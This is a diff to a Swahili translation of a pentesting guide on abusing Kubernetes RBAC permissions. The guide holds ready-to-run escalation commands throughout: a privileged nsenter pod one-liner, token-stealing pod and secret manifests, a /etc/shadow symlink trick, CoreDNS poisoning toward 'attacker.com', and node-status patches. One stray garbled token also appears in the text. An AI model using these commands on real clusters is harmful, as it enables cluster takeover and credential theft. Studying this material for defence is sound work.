diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index bf3e91d5a..21b94659d 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -3,16 +3,16 @@ {{#include ../../../banners/hacktricks-training.md}} Hapa unaweza kupata baadhi ya mipangilio ya Roles na ClusterRoles ambayo inaweza kuwa hatari.\ -Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono kwa kutumia `kubectl api-resources` +Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono kwa `kubectl api-resources` ## **Privilege Escalation** -Inarejelea sanaa ya kupata **ufikiaji wa principal tofauti** ndani ya klasta **ikiwa na mamlaka tofauti** (ndani ya klasta ya kubernetes au kwa mawingu ya nje) kuliko zile ulizo nazo tayari, katika Kubernetes kuna kimsingi **mbinu 4 kuu za kupandisha mamlaka**: +Inarejelea sanaa ya kupata **ufikiaji wa principal tofauti** ndani ya klasta **ikiwa na mamlaka tofauti** (ndani ya klasta ya kubernetes au kwa mawingu ya nje) kuliko zile ulizo nazo tayari, katika Kubernetes kuna k基本 **mbinu 4 kuu za kupandisha mamlaka**: - Kuwa na uwezo wa **kujifanya** mtumiaji/katika makundi/SAs wengine wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje - Kuwa na uwezo wa **kuunda/kurekebisha/kutekeleza pods** ambapo unaweza **kupata au kuunganisha SAs** wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje - Kuwa na uwezo wa **kusoma siri** kwani token za SAs zimehifadhiwa kama siri -- Kuwa na uwezo wa **kutoroka hadi kwenye node** kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazofanya kazi kwenye node, akidi za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo) +- Kuwa na uwezo wa **kutoroka hadi kwenye node** kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazotembea kwenye node, akidi za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo) - Mbinu ya tano ambayo inastahili kutajwa ni uwezo wa **kukimbia port-forward** katika pod, kwani unaweza kuwa na uwezo wa kufikia rasilimali za kuvutia ndani ya pod hiyo. ### Access Any Resource or Verb (Wildcard) @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Upata Rasilimali Yoyote kwa Kitenzi Maalum +### Access Any Resource with a specific verb -Katika RBAC, ruhusa fulani zina hatari kubwa: +In RBAC, ruhusa fulani zina hatari kubwa: 1. **`create`:** Inatoa uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka. 2. **`list`:** Inaruhusu kuorodhesha rasilimali zote, ikihatarisha kuvuja kwa data nyeti. -3. **`get`:** Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikileta tishio la usalama. +3. **`get`:** Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikihatarisha usalama. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -51,7 +51,7 @@ verbs: ["create", "list", "get"] Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi anapandisha mamlaka kwake. -Mfano wa pod ambayo itakuwa na uwezo wa kuiba token ya akaunti ya huduma ya `bootstrap-signer` na kuisafirisha kwa mshambuliaji: +Mfano wa pod ambayo itaiba token ya akaunti ya huduma ya `bootstrap-signer` na kuisafirisha kwa mshambuliaji: ```yaml apiVersion: v1 kind: Pod @@ -74,7 +74,7 @@ hostNetwork: true ``` ### Pod Create & Escape -Ifuatayo inaonyesha haki zote ambazo kontena inaweza kuwa nazo: +Ifuatayo inaonyesha haki zote ambazo kontena linaweza kuwa nazo: - **Upatikanaji wa haki** (kuondoa ulinzi na kuweka uwezo) - **Zima namespaces hostIPC na hostPid** ambazo zinaweza kusaidia kuongeza haki @@ -119,29 +119,27 @@ Unda pod na: ```bash kubectl --token $token create -f mount_root.yaml ``` -Moja-laini kutoka [hiki tweet](https://twitter.com/mauilion/status/1129468485480751104) na nyongeza kadhaa: +Moja ya mistari kutoka [hiki tweet](https://twitter.com/mauilion/status/1129468485480751104) na nyongeza kadhaa: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Sasa kwamba unaweza kukimbia kwenye node angalia mbinu za baada ya unyakuzi katika: - #### Stealth -Huenda unataka kuwa **stealthier**, katika kurasa zinazofuata unaweza kuona kile ambacho unaweza kufikia ikiwa utaunda pod kwa kuwezesha baadhi ya ruhusa zilizotajwa katika kiolezo kilichopita: +Huenda unataka kuwa **stealthier**, katika kurasa zinazofuata unaweza kuona kile ambacho utaweza kufikia ikiwa utaunda pod kwa kuwezesha baadhi ya ruhusa zilizotajwa katika kiolezo kilichopita: - **Privileged + hostPID** -- **Privileged tu** +- **Privileged only** - **hostPath** - **hostPID** - **hostNetwork** - **hostIPC** -_Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya usanidi wa pods wenye ruhusa zilizotangulia katika_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya mipangilio ya pods zilizopatiwa ruhusa katika_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Pod Create - Hamia kwenye wingu +### Pod Create - Move to cloud Ikiwa unaweza **kuunda** **pod** (na hiari **akaunti ya huduma**) huenda ukawa na uwezo wa **kupata ruhusa katika mazingira ya wingu** kwa **kuteua majukumu ya wingu kwa pod au akaunti ya huduma** na kisha kuifikia.\ -Zaidi ya hayo, ikiwa unaweza kuunda **pod yenye namespace ya mtandao wa mwenyeji** unaweza **kuiba IAM** jukumu la **node** instance. +Zaidi ya hayo, ikiwa unaweza kuunda **pod yenye nafasi ya mtandao wa mwenyeji** unaweza **kuiba IAM** jukumu la **node** instance. Kwa maelezo zaidi angalia: @@ -149,11 +147,11 @@ Kwa maelezo zaidi angalia: pod-escape-privileges.md {{#endref}} -### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs na Cronjobs** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** Inawezekana kutumia vibaya ruhusa hizi ili **kuunda pod mpya** na kuanzisha ruhusa kama katika mfano wa awali. -YAML ifuatayo **inaunda daemonset na inatoa token ya SA** ndani ya pod: +Yaml ifuatayo **inaunda daemonset na inatoa token ya SA** ndani ya pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -197,21 +195,26 @@ Hivyo, inawezekana **kuingia ndani ya pod na kuiba token ya SA**, au kuingia pod ```bash kubectl exec -it -n -- sh ``` +> [!NOTE] +> Kwa default amri inatekelezwa katika kontena la kwanza la pod. Pata **pods zote katika kontena** kwa kutumia `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` na kisha **onyeshea kontena** ambapo unataka kutekeleza kwa kutumia `kubectl exec -it -c -- sh` + +Ikiwa ni kontena lisilo na mfumo wa uendeshaji unaweza kujaribu kutumia **shell builtins** kupata taarifa za kontena au kupakia zana zako mwenyewe kama **busybox** kwa kutumia: **`kubectl cp :`**. + ### port-forward -Ruhusa hii inaruhusu **kupeleka bandari moja ya ndani kwa bandari moja katika pod iliyoainishwa**. Hii inakusudia kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod: -``` +Ruhusa hii inaruhusu **kupeleka port moja ya ndani kwa port moja katika pod iliyoainishwa**. Hii inakusudiwa kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod: +```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -Kama [**ilivyoonyeshwa katika utafiti huu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ikiwa unaweza kufikia au kuunda pod yenye **hosts `/var/log/` directory mounted** juu yake, unaweza **kutoroka kutoka kwenye kontena**.\ -Hii ni kwa sababu wakati **Kube-API inajaribu kupata logi** za kontena (kwa kutumia `kubectl logs `), inafanya **ombwe la `0.log`** la pod kwa kutumia `/logs/` endpoint ya huduma ya **Kubelet**.\ -Huduma ya Kubelet inatoa `/logs/` endpoint ambayo kimsingi ni **kuonyesha mfumo wa faili wa `/var/log` wa kontena**. +Kama [**ilivyoonyeshwa katika utafiti huu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ikiwa unaweza kufikia au kuunda pod yenye **directories ya hosts `/var/log/` imewekwa** juu yake, unaweza **kutoroka kutoka kwenye kontena**.\ +Hii ni kwa sababu wakati **Kube-API inajaribu kupata logi** ya kontena (kwa kutumia `kubectl logs `), inafanya **ombwe la faili `0.log`** la pod kwa kutumia kiunganishi cha `/logs/` cha huduma ya **Kubelet**.\ +Huduma ya Kubelet inatoa kiunganishi cha `/logs/` ambacho kimsingi ni **kuonyesha mfumo wa faili wa `/var/log` wa kontena**. Kwa hivyo, mshambuliaji mwenye **ufikiaji wa kuandika katika folda /var/log/** ya kontena anaweza kutumia tabia hii kwa njia 2: -- Kubadilisha faili `0.log` la kontena lake (ambalo kawaida liko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink inayoelekeza kwenye `/etc/shadow`** kwa mfano. Kisha, utaweza kuhamasisha faili la kivuli cha mwenyeji kwa kufanya: +- Kubadilisha faili `0.log` la kontena lake (ambalo kawaida liko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink inayoelekeza kwenye `/etc/shadow`** kwa mfano. Kisha, utaweza kutoa faili la kivuli la hosts kwa kufanya: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -235,7 +238,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// #### Kupita ulinzi wa readOnly -Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN upo, unaweza tu kuunganisha tena folda hiyo kama rw: +Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN` upo, unaweza tu kuunganisha tena folda hiyo kama rw: ```bash mount -o rw,remount /hostlogs/ ``` @@ -247,7 +250,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Ambayo ilikusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika: +Ambayo yalikuwa yanakusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika: ```yaml apiVersion: v1 kind: PersistentVolume @@ -318,7 +321,8 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 ``` ### Kuunda na Kusoma Siri -Kuna aina maalum ya siri ya Kubernetes ya aina **kubernetes.io/service-account-token** ambayo inahifadhi token za akaunti za huduma. Ikiwa una ruhusa za kuunda na kusoma siri, na pia unajua jina la akaunti ya huduma, unaweza kuunda siri kama ifuatavyo na kisha kuiba token ya akaunti ya huduma ya mwathirika kutoka kwake: +Kuna aina maalum ya siri ya Kubernetes ya aina **kubernetes.io/service-account-token** ambayo inahifadhi token za akaunti za huduma. +Ikiwa una ruhusa za kuunda na kusoma siri, na pia unajua jina la akaunti ya huduma, unaweza kuunda siri kama ifuatavyo na kisha kuiba token ya akaunti ya huduma ya mwathirika kutoka kwake: ```yaml apiVersion: v1 kind: Secret @@ -381,15 +385,15 @@ Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma siri katika eneo fulani, akaun ### Kusoma siri – kulazimisha vitambulisho vya tokeni -Wakati mshambuliaji mwenye tokeni yenye ruhusa za kusoma anahitaji jina sahihi la siri ili kuitumia, tofauti na ruhusa pana ya _**kuorodhesha siri**_, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na tokeni ya alphanumeric ya herufi tano za nasibu (bila herufi fulani) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Wakati mshambuliaji mwenye tokeni yenye ruhusa za kusoma anahitaji jina sahihi la siri ili kuitumia, tofauti na ruhusa pana ya _**kuorodhesha siri**_, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho cha kudumu kinachofuatiwa na tokeni ya alphanumeric ya herufi tano za nasibu (bila wahusika fulani) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Tokeni inazalishwa kutoka seti ndogo ya herufi 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha kwa urahisi ili kubaini tokeni hiyo ndani ya masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti. +Tokeni inazalishwa kutoka seti ndogo ya wahusika 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha ili kubaini tokeni hiyo ndani ya masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti. ### Maombi ya Kusaini Cheti Ikiwa una vitenzi **`create`** katika rasilimali `certificatesigningrequests` (au angalau katika `certificatesigningrequests/nodeClient`). Unaweza **kuunda** CeSR mpya ya **node mpya.** -Kulingana na [nyaraka inawezekana kuidhinisha maombi haya kiotomatiki](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), hivyo katika hali hiyo **huhitaji ruhusa za ziada**. Ikiwa sivyo, unahitaji kuwa na uwezo wa kuidhinisha ombi, ambayo inamaanisha sasisha katika `certificatesigningrequests/approval` na `approve` katika `signers` na resourceName `/` au `/*` +Kulingana na [nyaraka inawezekana kuidhinisha maombi haya kiotomatiki](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), hivyo katika kesi hiyo **huhitaji ruhusa za ziada**. Ikiwa sivyo, unahitaji kuwa na uwezo wa kuidhinisha ombi, ambayo inamaanisha sasisha katika `certificatesigningrequests/approval` na `approve` katika `signers` na resourceName `/` au `/*` Mfano wa **role** yenye ruhusa zote zinazohitajika ni: ```yaml @@ -422,12 +426,12 @@ resourceNames: verbs: - approve ``` -Hivyo, na CSR mpya ya node iliyothibitishwa, unaweza **kudhulumu** ruhusa maalum za nodes ili **kuiba siri** na **kuinua mamlaka**. +Kwa hivyo, na CSR mpya ya node iliyothibitishwa, unaweza **kutilia shaka** ruhusa maalum za nodes ili **kuiba siri** na **kuinua mamlaka**. -Katika [**post hii**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) na [**hii moja**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) usanidi wa GKE K8s TLS Bootstrap umewekwa na **kusainiwa kiotomatiki** na unatumika vibaya kuzalisha akreditif za Node mpya ya K8s na kisha kudhulumu hizo ili kuinua mamlaka kwa kuiba siri.\ -Ikiwa **una mamlaka zilizotajwa unaweza kufanya jambo hilo hilo**. Kumbuka kwamba mfano wa kwanza unazidi kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu **node inaweza kufikia tu siri za kontena zilizowekwa juu yake.** +Katika [**post hii**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) na [**hii moja**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) usanidi wa GKE K8s TLS Bootstrap umewekwa na **kusainiwa kiotomatiki** na unakiliwa ili kuzalisha ithibitisho ya Node mpya ya K8s na kisha kutumiwa kuimarisha mamlaka kwa kuiba siri.\ +Ikiwa **una mamlaka zilizotajwa unaweza kufanya jambo lile lile**. Kumbuka kwamba mfano wa kwanza unakabiliwa na kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu **node inaweza kufikia tu siri za kontena zilizowekwa juu yake.** -Njia ya kupita hii ni tu **kuunda akreditif za node kwa jina la node ambapo kontena lenye siri za kuvutia limewekwa** (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza): +Njia ya kukwepa hii ni tu **kuunda ithibitisho ya node kwa jina la node ambapo kontena yenye siri za kuvutia imewekwa** (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` @@ -479,15 +483,55 @@ groups: > Hata hivyo, `aws --profile other_account eks update-kubeconfig --name ` **haifanyi kazi kutoka akaunti tofauti**. Lakini kwa kweli `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` inafanya kazi ikiwa utaweka ARN ya klasta badala ya jina tu.\ > Ili kufanya `kubectl` ifanye kazi, hakikisha tu **unapanga** **kubeconfig ya waathirika** na katika arg za aws exec ongeza `--profile other_account_role` ili kubectl itumie profaili ya akaunti nyingine kupata token na kuwasiliana na AWS. -### Kuongeza Haki katika GKE +### CoreDNS config map -Kuna **njia 2 za kutoa ruhusa za K8s kwa wakuu wa GCP**. Katika hali yoyote mkuu pia anahitaji ruhusa **`container.clusters.get`** ili kuwa na uwezo wa kukusanya akidi za kuingia kwenye klasta, au utahitaji **kuunda faili yako ya kubectl config** (fuata kiungo kinachofuata). +Ikiwa una ruhusa za kubadilisha **`coredns` configmap** katika namespace ya `kube-system`, unaweza kubadilisha anwani ambazo maeneo yatatatuliwa ili uweze kufanya mashambulizi ya MitM ili **kuiba taarifa nyeti au kuingiza maudhui mabaya**. + +Vitenzi vinavyohitajika ni **`update`** na **`patch`** juu ya **`coredns`** configmap (au config maps zote). + +Faili ya kawaida ya **coredns** ina kitu kama hiki: +```yaml +data: +Corefile: | +.:53 { +log +errors +health { +lameduck 5s +} +ready +kubernetes cluster.local in-addr.arpa ip6.arpa { +pods insecure +fallthrough in-addr.arpa ip6.arpa +ttl 30 +} +prometheus :9153 +hosts { +192.168.49.1 host.minikube.internal +fallthrough +} +forward . /etc/resolv.conf { +max_concurrent 1000 +} +cache 30 +loop +reload +loadbalance +} +``` +Mshambuliaji anaweza kupakua ikifanya `kubectl get configmap coredns -n kube-system -o yaml`, kuhariri na kuongeza kitu kama `rewrite name victim.com attacker.com` ili kila wakati `victim.com` inapotafutwa, kwa kweli `attacker.com` ndiyo domain itakayofikiwa. Kisha, itatumika ikifanya `kubectl apply -f poison_dns.yaml`. + +Chaguo lingine ni kuhariri tu faili ikifanya `kubectl edit configmap coredns -n kube-system` na kufanya mabadiliko. + +### Kuongeza Mamlaka katika GKE + +Kuna **njia 2 za kutoa ruhusa za K8s kwa wahusika wa GCP**. Katika hali yoyote, mhusika pia anahitaji ruhusa **`container.clusters.get`** ili kuwa na uwezo wa kukusanya akreditifia za kufikia klasta, au itabidi **uzalishe faili yako ya konfigu kubectl** (fuata kiungo kinachofuata). > [!WARNING] -> Wakati wa kuzungumza na kiunganishi cha K8s api, **token ya uthibitisho ya GCP itatumwa**. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza **itaangalia kama mkuu** (kwa barua pepe) **ana ufikiaji wowote ndani ya klasta**, kisha itaangalia kama ana **ufikiaji wowote kupitia GCP IAM**.\ +> Wakati wa kuzungumza na kiunganishi cha K8s api, **token ya uthibitisho ya GCP itatumwa**. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza **itaangalia kama mhusika** (kwa barua pepe) **ana ufikiaji wowote ndani ya klasta**, kisha itaangalia kama ana **ufikiaji wowote kupitia GCP IAM**.\ > Ikiwa **yoyote** kati ya hizo ni **kweli**, atajibiwa. Ikiwa **siyo** makosa **yanayopendekeza kutoa** **ruhusa kupitia GCP IAM** yatatolewa. -Kisha, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **ruhusa sawa za GCP IAM**, na ikiwa mkuu ana hiyo, ataweza kuitumia. +Kisha, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **ruhusa sawa za GCP IAM**, na ikiwa mhusika ana hiyo, ataweza kuitumia. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md @@ -495,38 +539,38 @@ Kisha, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **ruhusa sawa z Njia ya pili ni **kutoa ruhusa za K8s ndani ya klasta** kwa kutambua mtumiaji kwa **barua pepe** yake (akaunti za huduma za GCP zimejumuishwa). -### Kuunda token za serviceaccounts +### Unda token za serviceaccounts -Wakuu wanaoweza **kuunda TokenRequests** (`serviceaccounts/token`) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (habari kutoka [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Wahusika wanaoweza **kuunda TokenRequests** (`serviceaccounts/token`) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (tazama [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Wakuu wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **utendaji wa msimbo kwenye pods nyingine**, na kwa uwezekano **kuvunja** kwenye node yao kwa kuongeza container ya muda mfupi yenye securityContext yenye mamlaka. +Wahusika wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **utendaji wa msimbo kwenye pods nyingine**, na kwa uwezekano **kuvunja** kwenye node yao kwa kuongeza kontena ya muda na securityContext yenye mamlaka. ### ValidatingWebhookConfigurations au MutatingWebhookConfigurations -Wakuu wenye mojawapo ya vitenzi `create`, `update` au `patch` juu ya `validatingwebhookconfigurations` au `mutatingwebhookconfigurations` wanaweza kuwa na uwezo wa **kuunda moja ya webhookconfigurations hizo** ili waweze **kuongeza mamlaka**. +Wahusika wenye mojawapo ya vitenzi `create`, `update` au `patch` juu ya `validatingwebhookconfigurations` au `mutatingwebhookconfigurations` wanaweza kuwa na uwezo wa **kuunda mojawapo ya webhookconfigurations hizo** ili waweze **kuongeza mamlaka**. -Kwa [`mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili`](#malicious-admission-controller). +Kwa mfano ya [`mutatingwebhookconfigurations` angalia sehemu hii ya chapisho hili](#malicious-admission-controller). ### Pandisha -Kama unavyoweza kusoma katika sehemu inayofuata: [**Kuzuia Kuongeza Mamlaka ya Kijadi**](#built-in-privileged-escalation-prevention), mkuu cannot update wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`.**\ +Kama unavyoweza kusoma katika sehemu inayofuata: [**Kuzuia Pandisha Mamlaka ya Kijengwa Ndani**](#built-in-privileged-escalation-prevention), mhusika cannot update wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana **kitenzi `escalate` au `*`** juu ya **`roles`** au **`clusterroles`** na chaguo husika za binding.\ Kisha anaweza kuupdate/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo. ### Nodes proxy -Wakuu wenye ufikiaji wa **`nodes/proxy`** subresource wanaweza **kutekeleza msimbo kwenye pods** kupitia Kubelet API (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu: +Wahusika wenye ufikiaji wa **`nodes/proxy`** subresource wanaweza **kutekeleza msimbo kwenye pods** kupitia Kubelet API (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Una mfano wa jinsi ya kupata [**RCE kwa kuzungumza na Kubelet API hapa**](../pentesting-kubernetes-services/index.html#kubelet-rce). +Una mfano wa jinsi ya kupata [**RCE ukizungumza na Kubelet API hapa**](../pentesting-kubernetes-services/index.html#kubelet-rce). ### Futa pods + nodes zisizoweza kupanga -Wakuu wanaoweza **kufuta pods** (`delete` verb juu ya `pods` resource), au **kuhamasisha pods** (`create` verb juu ya `pods/eviction` resource), au **kubadilisha hali ya pod** (ufikiaji wa `pods/status`) na wanaweza **kufanya nodes nyingine zisizoweza kupanga** (ufikiaji wa `nodes/status`) au **kufuta nodes** (`delete` verb juu ya `nodes` resource) na ana udhibiti juu ya pod, wanaweza **kuiba pods kutoka nodes nyingine** ili ziwe **zinatekelezwa** katika **node iliyoathirika** na mshambuliaji anaweza **kuiba token** kutoka kwa pods hizo. +Wahusika wanaoweza **kufuta pods** (`delete` verb juu ya `pods` resource), au **kuhamasisha pods** (`create` verb juu ya `pods/eviction` resource), au **kubadilisha hali ya pod** (ufikiaji wa `pods/status`) na wanaweza **kufanya nodes nyingine zisizoweza kupanga** (ufikiaji wa `nodes/status`) au **kufuta nodes** (`delete` verb juu ya `nodes` resource) na ana udhibiti juu ya pod, wanaweza **kuiba pods kutoka kwa nodes nyingine** ili ziwe **zinatekelezwa** katika **node** iliyovunjika na mshambuliaji anaweza **kuiba tokens** kutoka kwa pods hizo. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -539,19 +583,19 @@ kubectl delete pods -n kube-system ``` ### Hali za huduma (CVE-2020-8554) -Wajibu wanaoweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kutumia **CVE-2020-8554 isiyorekebishwa** na kuanzisha **MiTM attacks dhidi ya kluster**. Mitihani mingi ya CVE-2020-8554 inazuia tu huduma za ExternalIP (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Wajibu wanaoweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kutumia **CVE-2020-8554 isiyorekebishwa** na kuanzisha **MiTM attacks dhidi ya klasta**. Mitihani mingi ya CVE-2020-8554 inazuia tu huduma za ExternalIP (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Hali za Nodes na Pods -Wajibu wenye ruhusa za **`update`** au **`patch`** juu ya `nodes/status` au `pods/status`, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vinavyotekelezwa. +Wajibu wenye ruhusa za **`update`** au **`patch`** juu ya `nodes/status` au `pods/status`, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vilivyowekwa. ## Kinga ya Kukuza Privilege iliyojengwa ndani -Kubernetes ina [mekanismu iliyojengwa ndani](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) ya kuzuia kukuza privilege. +Kubernetes ina [mekanismu iliyojengwa ndani](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) ili kuzuia kukuza privilege. Mfumo huu unahakikisha kwamba **watumiaji hawawezi kuongeza privileges zao kwa kubadilisha roles au role bindings**. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati RBAC authorizer haifanyi kazi. -Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kubadilisha role ikiwa ana ruhusa zote zinazohusiana na role hiyo**. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa role wanayojaribu kuunda au kubadilisha: ama kwa kiwango cha kluster kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha kluster) kwa Roles. +Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kubadilisha role ikiwa ana ruhusa zote zinazohitajika na role hiyo**. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na wa role wanayojaribu kuunda au kubadilisha: ama kwa kiwango cha klasta kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha klasta) kwa Roles. > [!WARNING] > Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana **verb `escalate`** juu ya **`roles`** au **`clusterroles`** anaweza kuongeza privileges za roles na clusterroles hata bila kuwa na ruhusa hizo mwenyewe. @@ -559,7 +603,7 